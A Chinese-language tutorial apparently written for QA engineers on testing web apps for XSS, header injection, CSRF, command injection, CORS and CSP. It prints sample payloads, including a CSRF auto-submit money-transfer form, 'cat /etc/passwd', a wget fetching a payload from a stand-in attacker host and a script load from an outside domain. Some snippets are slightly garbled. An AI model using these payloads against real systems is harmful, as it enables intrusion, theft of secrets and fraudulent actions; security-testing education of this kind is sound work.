本文探讨了基本的漏洞和测试技术,提供了增强 Web 应用程序渗透测试技能的实用见解。本文结合了我专门针对 QA 工程师和分析师的一系列帖子,提供了对基本网络安全漏洞的实际探索。目的是为 QA 工程师/测试人员/分析师提供弥合软件 QA 和网络安全之间差距的知识,从而形成统一的方法来确保 Web 应用程序的完整性和安全性。
这不是终极指南,但我想分享我作为一名对网络安全领域感兴趣的 QA 工程师的经验;如果您有兴趣更深入地了解某些方面,这将是非常肤浅的信息,其中包含一些有用的链接。
XSS 是最严重且最常见的漏洞之一 - https://owasp.org/www-community/attacks/xss/
我将分享关于如何测试 XSS 的简单方法和技巧,而无需具备丰富的现场知识和前端开发技术知识。
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
提交输入并查看脚本是否执行。
如果是这样,那么应用程序很容易受到 XSS 攻击。
如果脚本未执行,请尝试通过添加其他 HTML 标记(例如<img>或<iframe>)来修改输入,并查看它们是否反映在页面上,例如(这个示例几乎总是适合我)
<b>t</b>#`"/*—est
您可以添加脚本来查询 Web 应用程序 URL 的参数或用户名、上传的文件名 ( https://github.com/cure53/H5SC ) 或将在应用程序页面上显示的任何您可以更改的文本。
注意输入的前端验证。始终尝试使用直接请求(使用 Postman、Burp 或任何类似工具)提交值。
使用模糊测试和有效负载列表 - 尽可能自动化此方法或使用特殊工具。
说到工具,有很多工具可以用来发现 XSS,尝试不同的工具,与不同的应用程序多次比较结果,然后选择您最喜欢的一个:https: //linuxhint.com/free_xss_tools/ (我用过很多) OWASP ZAP 和 BurpSuite)。
就我个人而言,我喜欢使用这里的有效负载和信息 - https://github.com/s0md3v/AwesomeXSS - 在我看来,这是一个非常有用的资源。
有关 XSS 和负载的更多详细信息,您可以找到以下资源:
当攻击者可以将恶意代码注入网站标头,从而允许他们执行未经授权的操作或访问敏感信息时,就会出现此漏洞。
要测试标头注入,您可以按照以下几个步骤操作:
(%0d%0a OR \r\n)
例如,以下有效负载可用于注入 Set-Cookie 标头:
User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked
另一个例子是 Host 标头注入,攻击者可以操纵 Host 标头来访问同一服务器上的另一个网站或子域。例如:
Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com
要了解有关 Header 注入的更多信息,您可以参考以下资源:
当恶意网站诱骗用户在用户当前登录的其他网站上进行操作时,就会发生 CSRF。此类攻击可能会导致代表用户执行未经授权的操作(任何 POST 请求)。
要测试 CSRF 漏洞,简而言之,您可以执行以下操作:
<html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>
为了防止 CSRF 攻击,请使用反 CSRF 令牌或同站点 cookie 来验证请求的来源。这些令牌是由服务器生成并包含在表单或 URL 参数中的唯一值。提交表单时,服务器检查令牌是否与预期值匹配,如果不匹配则拒绝请求。下面是一个 Python 示例:
import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response
有用的资源:
当攻击者可以在目标系统上执行任意代码或操作系统命令时,就会出现 RCE 和命令注入漏洞。这些类型的攻击可能会导致系统完全受损以及对敏感数据的未经授权的访问。
要测试 RCE 和命令注入漏洞,简而言之,您可以执行以下操作:
; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3
并非所有有效负载都会产生一些可见的输出。在这种情况下,您可能需要使用其他方法,例如监控网络流量或查看日志文件。
为了防止 RCE 和命令注入攻击,必须验证用户输入,并且必须删除或清理恶意字符或命令。
以下是一些有助于进一步学习的有用资源:
当您操纵从客户端发送到服务器端的参数时,就会发生这种类型的攻击,从而导致未经授权的访问或权限升级。
要测试此类漏洞,您可以执行以下操作:
为了防止 Web 参数篡改攻击,输入验证和清理至关重要。确保所有输入数据在服务器端经过验证,并且应用程序拒绝任何恶意输入。我想说,这些类型的漏洞是 QA 团队识别的最佳漏洞,因为 QA 比通常不参与开发过程的信息安全工程师更了解应用程序/产品及其逻辑和参数。
以下是一些其他资源,可帮助您了解有关 Web 参数篡改的更多信息:
这是一种安全机制,可限制网页向与提供该网页的域不同的域发出请求。
您可以通过执行以下操作进行测试:
fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
执行以下简单步骤:
Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With
回复:
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With
有关 CORS 的更多信息,以下是一些有用的资源:
CSP 是一种通过允许指定允许在网页上加载的内容源来帮助防止 XSS 攻击的机制。如果没有设置 CSP 标头,就有可能将恶意脚本注入页面并窃取敏感用户数据或执行其他操作。
您可以执行以下操作来检查 CSP 标头:
document.cookie=TESTCOOKIE=XSS;
尝试将脚本注入页面并查看它是否执行。例如,将以下代码插入到浏览器控制台:
var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);
在响应标头中查找 Content-Security-Policy 标头。如果缺少此标头,则表示该网页没有设置 CSP 标头。
CSP 标头在 Web 应用程序安全中非常重要。
有关 CSP 的更多信息:
网络安全和软件质量保证之间的共生关系对于软件应用程序的安全性非常重要。通过威胁建模方法和自动模糊测试技术的集成,质量保证工程师为安全漏洞的早期检测和缓解做出了重大贡献。网络安全和 QA 团队之间的协作构成了统一软件开发方法不可或缺的一部分,QA 的作用超出了功能和可用性测试范围,涵盖了主动识别和纠正潜在安全缺陷。将质量保证视为网络安全工作中的战略资产非常重要,因为它不仅可以增强数据保护,还可以维护公司的声誉、客户信任和整体财务稳定性。质量保证专业人员的技术技能加上严格的测试实践,建立了针对网络威胁的强大防御。
始终在明确许可的情况下并在受控环境中进行渗透测试。这种道德方法确保安全评估与负责任的测试协议保持一致,防止系统无意中受到损害,并维护测试过程和总体网络安全策略的完整性。
本文分享了 QA 工程师改进 Web 应用程序安全测试、连接软件 QA 和网络安全的实用技巧。这是一本适合初学者的指南,为那些希望了解更多信息的人提供了见解和有用的链接。
也发布在这里。